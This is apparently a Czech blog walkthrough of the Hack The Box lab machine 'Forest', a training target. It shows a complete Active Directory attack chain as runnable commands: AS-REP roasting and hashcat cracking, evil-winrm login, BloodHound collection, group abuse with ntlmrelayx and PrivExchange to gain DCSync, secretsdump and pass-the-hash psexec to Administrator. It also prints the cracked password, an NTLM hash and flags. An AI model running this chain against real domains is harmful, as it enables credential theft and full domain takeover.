tom@home.htb:~$

Blog o HTB

26 November 2020

Forest

Úvod a kontext

Forest je ukázkový Active Directory řetězec, kde se nevyplácí hledat webový exploit, ale správně číst doménové protokoly. Z portů 88, 389, 445 a 5985 je hned patrné, že jde o doménový kontroler, takže největší smysl dává práce s Kerberem, LDAP a delegovanými oprávněními v AD.

Foothold zde stojí na AS-REP roastu účtu svc-alfresco. Eskalace už není lokální Windows exploit, ale čistá doménová logika: BloodHound ukáže cestu přes skupinu Exchange Windows Permissions, PrivExchange a LDAP relay, takže výsledkem je DCSync a hash administrátora.

Počáteční průzkum

Síťová stopa doménového kontroleru

První nmap je tady důležitý hlavně kvůli roli hostu. Kombinace Kerberosu, LDAP, SMB a WinRM ukazuje na doménový kontroler, takže další enumerace má mířit do AD, ne do webové aplikace.

nmap -p 1-65535 -T4 -A -sC -v $IP
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2019-11-02 21:07:33Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
[... výstup zkrácen ...]

Enumerace domény bez přihlášení

Jakmile je zřejmé, že jde o AD, má smysl zkusit, co všechno doména prozradí ještě bez platných přihlašovacích údajů. GetADUsers.py vytáhne seznam účtů a GetNPUsers.py ověří, zda některý z nich nemá vypnutý Kerberos pre-auth.

./impacket/examples/GetADUsers.py -all -dc-ip 10.10.10.161 htb.local/

./impacket/examples/GetNPUsers.py -format hashcat -usersfile ../../Forest-users.txt -outputfile ../../Forest-hashes.asreproast -dc-ip $IP htb.local/

Analýza zjištění

AS-REP roast účtu svc-alfresco

AS-REP roast je užitečný právě proto, že není potřeba znát heslo předem. Pokud má účet vypnutý pre-auth, doménový kontroler vrátí data zašifrovaná jeho heslem a ta lze lámat offline. Tady z toho vypadne účet svc-alfresco s heslem s3rvice, což je okamžitě použitelný foothold, protože na hostu běží WinRM.

hashcat -m 18200 --force -a 3 ../../Forest-hashes.asreproast
svc-alfresco:s3rvice

BloodHound a skupina Exchange Windows Permissions

Na Forestu nestačí jen dostat shell. Rozhodující je zjistit, jaká delegovaná práva ten účet v doméně opravdu má. Proto po přihlášení dává smysl nasadit SharpHound a nechat BloodHound spočítat reálné cesty k vyšším oprávněním.

BloodHound zde ukáže, že svc-alfresco lze přidat do Exchange Windows Permissions. To samo o sobě ještě neznamená Domain Admin, ale v kombinaci s PrivExchange a ntlmrelayx už jde přes LDAP prosadit změnu oprávnění tak, aby účet získal schopnost DCSync.

Získání přístupu

Přihlášení jako svc-alfresco

Po cracknutí hesla je nejrozumnější přejít na WinRM. Je to stabilní shell, který dává plný PowerShell kontext a dovolí bez improvizace spustit sběr dat pro BloodHound.

./evil-winrm/evil-winrm.rb -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

user.txt: e5e4e47ae7022664cda6eb013fb0d9ed

upload /home/hack/Desktop/public_web/ps1/SharpHound.ps1
Import-Module ./SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Verbose

Eskalace oprávnění

PrivExchange, relay a DCSync

Jakmile BloodHound ukáže vztah ke skupině Exchange Windows Permissions, navazuje klasická doménová eskalace. Účet se přidá do skupiny, ntlmrelayx se připraví proti LDAP a přes PrivExchange se vynutí autentizace, kterou relay zneužije ke změně oprávnění účtu svc-alfresco. Tím vznikne DCSync schopnost a secretsdump.py už může vytáhnout hash administrátora přímo z domény.

net group "Exchange Windows Permissions" svc-alfresco /add

./impacket/examples/ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco
http://localhost/privexchange

./impacket/examples/secretsdump.py htb.local/svc-alfresco:s3rvice@forest.htb.local

./impacket/examples/psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@forest.htb.local powershell.exe
gc root.txt
f048153f202bbb2f82622b04d79129cc

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - rce - smb - kerberos - ldap - winrm - active-directory